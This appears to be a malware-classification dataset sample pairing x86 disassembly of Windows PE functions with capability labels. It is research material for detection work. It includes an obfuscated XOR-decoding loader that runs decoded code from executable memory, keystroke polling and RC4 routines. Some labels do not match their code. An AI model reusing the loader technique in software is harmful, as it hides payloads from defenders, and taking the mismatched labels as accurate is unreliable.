joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a270
Capabilities:
Get common file path

Disassembly:
cmp dword [esi], 0
push edi
jne 0x40a31b
cmp dword [esi + 4], 0xffffffff
jne 0x40a31b
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, edi
lea edx, [eax + 1]
jmp 0x40a2a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a2a0
sub eax, edx
mov al, byte [eax + esi + 0x13f]
cmp al, 0x5c
je 0x40a2d1
cmp al, 0x2f
je 0x40a2d1
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a2c0
mov ax, word [0x443e1c]
mov word [edi], ax
push 0x20
call fcn.0040b0e6
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0x10], 0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.004093d0
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
ret 8
mov eax, 0x1000000
pop edi
ret 8

Function at 0x40a8e0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x20c
mov eax, dword [0x4516a0]
xor eax, esp
mov dword [esp + 0x208], eax
push ebp
mov ebp, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x218]
test edi, edi
je 0x40a91d
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40a91d
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebp]
test al, al
je 0x40a9d6
push esi
mov esi, ebp
mov ecx, ebp
lea ecx, [ecx]
cmp al, 0x2f
je 0x40a938
cmp al, 0x5c
jne 0x40a93a
mov esi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x40a930
cmp esi, ebp
je 0x40a970
sub esi, ebp
push esi
lea eax, [esp + 0x114]
push ebp
push eax
call fcn.0042d520
lea ecx, [esp + 0x11c]
push ecx
push edi
mov byte [esp + esi + 0x124], 0
call fcn.0040a8e0
add esp, 0x14
mov byte [esp + 0xc], 0
test edi, edi
je 0x40a98b
lea edx, [esp + 0xc]
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40a981
mov eax, ebp
mov edx, ebp
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a990
lea edi, [esp + 0xc]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a9a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop esi
cmp eax, 0xffffffff
jne 0x40a9d6
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x210]
pop edi
pop ebp
xor ecx, esp
call fcn.004273bb
add esp, 0x20c
ret
Function at 0x40c46b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40c4b3
call fcn.00416137
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40c4b3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40c4f6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40c4df
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40c4df
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40c4f3
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x414bd1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x414c18
call fcn.00416137
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x414c18
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x414c34
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041474b
mov esi, eax
test edi, edi
je 0x414c32
test ebx, ebx
je 0x414c32
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4153d7
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x43b2f8
call fcn.004298bb
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x4153fc
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x415442
lea ecx, [ebp - 0x10]
call fcn.004020f0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f3e5
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004020d0
mov eax, esi
call fcn.00429993
ret 8
Function at 0x4273bb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4516a0]
jne 0x4273c5
repz ret
jmp fcn.0042cc45

Function at 0x436296
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042cdbd
and dword [ebp - 4], 0
cmp dword [0x455940], 0
mov ebx, eax
jne 0x436347
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4363f8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4428a0
push edi
call esi
test eax, eax
je 0x4363f8
push eax
call fcn.0042cd4b
mov dword [esp], 0x442890
push edi
mov dword [0x455940], eax
call esi
push eax
call fcn.0042cd4b
mov dword [esp], 0x44287c
push edi
mov dword [0x455944], eax
call esi
push eax
call fcn.0042cd4b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x455948], eax
call esi
push eax
call fcn.0042cd4b
pop ecx
mov dword [0x455950], eax
test eax, eax
je 0x436347
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042cd4b
pop ecx
mov dword [0x45594c], eax
mov eax, dword [0x45594c]
cmp eax, ebx
je 0x43639f
cmp dword [0x455950], ebx
je 0x43639f
push eax
call fcn.0042cdc6
push dword [0x455950]
mov esi, eax
call fcn.0042cdc6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43639f
test edi, edi
je 0x43639f
call esi
test eax, eax
je 0x436396
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x436396
test byte [ebp - 0xc], 1
jne 0x43639f
or dword [ebp + 0x10], 0x200000
jmp 0x4363d8
mov eax, dword [0x455944]
cmp eax, ebx
je 0x4363d8
push eax
call fcn.0042cdc6
pop ecx
test eax, eax
je 0x4363d8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4363d8
mov eax, dword [0x455948]
cmp eax, ebx
je 0x4363d8
push eax
call fcn.0042cdc6
pop ecx
test eax, eax
je 0x4363d8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x455940]
call fcn.0042cdc6
pop ecx
test eax, eax
je 0x4363f8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4363fa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e0180f6
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e0180f6
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8

Function at 0x2e0180f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x2e018105
pop dword [ebp - 0x44]
mov eax, 0xab4fb2c8
sub eax, 0x7d4e31c3
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xad30973e
sub dword [ebp - 0x54], 0x5ede51f3
mov dword [ebp - 0x50], 0xe76447e8
add dword [ebp - 0x50], 0x4acf045d
mov dword [ebp - 0x4c], 0xa2841aa9
sub dword [ebp - 0x4c], 0x5637d67b
mov dword [ebp - 0x48], 0x396f530a
add dword [ebp - 0x48], 0xc690acf6
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5a7feaf5
add dword [ebp - 0x54], 0x19f27e61
mov dword [ebp - 0x50], 0x5a7ae800
sub dword [ebp - 0x50], 0x190e868b
mov dword [ebp - 0x4c], 0xf75b3781
add dword [ebp - 0x4c], 0x6c1434eb
mov dword [ebp - 0x48], 0x5b337baf
sub dword [ebp - 0x48], 0x5b337baf
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3f644
push 0
call eax
mov ecx, 0x4158
xor ebx, ebx
add ebx, eax
mov edx, 0x592bd1ed
sub edx, 0x2b2663ed
add edx, dword [ebp - 0x44]
mov edi, 0xf1f31f01
sub edi, 0xc0fce1b6
sub dword [ebp - 8], edx
mov esi, dword [edx]
add dword [ebp - 0x30], eax
xor esi, edi
xor dword [ebp - 0xc], eax
mov dword [ebx], esi
sub dword [ebp - 0x30], 0x94ffa49a
add ebx, 4
add edx, 0x8c425551
sub edx, 0x8c42554d
loop 0x2e018219
add eax, 0xf833
mov ebx, eax
add eax, 0xee78f189
add eax, 0x11870e7c
mov ecx, 0x2e000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x4c63e0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x55253b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0054724d
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4c6462
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00544fc7
mov eax, dword [eax]
push 0x838ccc
push eax
call fcn.00537214
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005474d8
test bl, bl
je 0x4c6462
push 0x838ccc
lea ecx, [esp + 0xc]
call fcn.00547868
push 0x838cd8
lea ecx, [esp + 0xc]
call fcn.00547868
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4c649e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005474d8
jmp 0x4c6569
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4c6522
lea edx, [esp + 0x7c]
push 0x838cd4
push edx
call fcn.00537214
add esp, 8
test eax, eax
je 0x4c6522
lea eax, [esp + 0x7c]
push 0x838cd0
push eax
call fcn.00537214
add esp, 8
test eax, eax
je 0x4c6522
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c64b2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005474d8
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4c6d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4c6dc2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4c6dd0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5525bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x848000]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4c6f08
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4c6e36
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005474d8
xor eax, eax
jmp 0x4c6f7f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00547615
push esi
lea ecx, [esp + 0xc]
call fcn.005478a4
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4c6f5d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004c6d60
test eax, eax
jne 0x4c6f5d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004c6d60
test eax, eax
jne 0x4c6f5d
lea eax, [esp + 0x14]
push 0x838ce8
push eax
call fcn.00538290
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c6f3c
lea ecx, [esp + 0x14]
push 0x838ce4
push ecx
call fcn.00538210
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c6f3c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4c6f3f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.005475c5
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4c6e4e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005474d8
xor eax, eax
jmp 0x4c6f7f
mov byte [esi], 0
push 0x838ce0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005474d8
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4d7830
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4d789e
cmp si, 0x69
ja 0x4d789e
add esi, 0xffd0
cmp si, 0x11
je 0x4d786e
push 0x11
call edi
test ax, ax
jge 0x4d786e
or esi, 0x2000
cmp si, 0x10
je 0x4d7883
push 0x10
call edi
test ax, ax
jge 0x4d7883
or esi, 0x4000
cmp si, 0x12
je 0x4d7898
push 0x12
call edi
test ax, ax
jge 0x4d7898
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4d78ab
mov esi, 0xbd
jmp 0x4d785f
cmp si, 0x6e
jne 0x4d78b8
mov esi, 0xbe
jmp 0x4d785f
cmp si, 0x6f
jne 0x4d7859
mov esi, 0xbf
jmp 0x4d785f

Function at 0x4d91c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8587f8]
xor edx, edx
cmp eax, edx
jne 0x4d91e6
xor eax, eax
mov byte [eax + 0x8586f8], al
inc eax
cmp eax, 0x100
jl 0x4d91ce
mov dword [0x8587f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8586f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4d9277
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4d924a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4d9218
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4d9280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4d92d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4d92ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4dc8f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x553878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x20]
call fcn.0054df2b
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub eax, esi
sub ecx, edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.004dc7c0
add esp, 0x14
lea ecx, [esp + 0x1c]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0054df9d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0x4e0560
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4e06f8
cmp ebp, ebx
jle 0x4e06f8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4e05be
dec eax
or eax, 0xfffffff8
inc eax
je 0x4e05c5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4e05d4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4e05db
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00547219
add esp, 4
cmp eax, ebx
je 0x4e05fc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00547219
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4e06ee
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4e06d5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4e06c1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4e06b6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4e06c4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4e06c4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4e0660
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4e0651
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4e3c50
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x553c98
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4e3c89
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0054ebc6
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0054ec12
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004e3d10
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0054ec4f
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24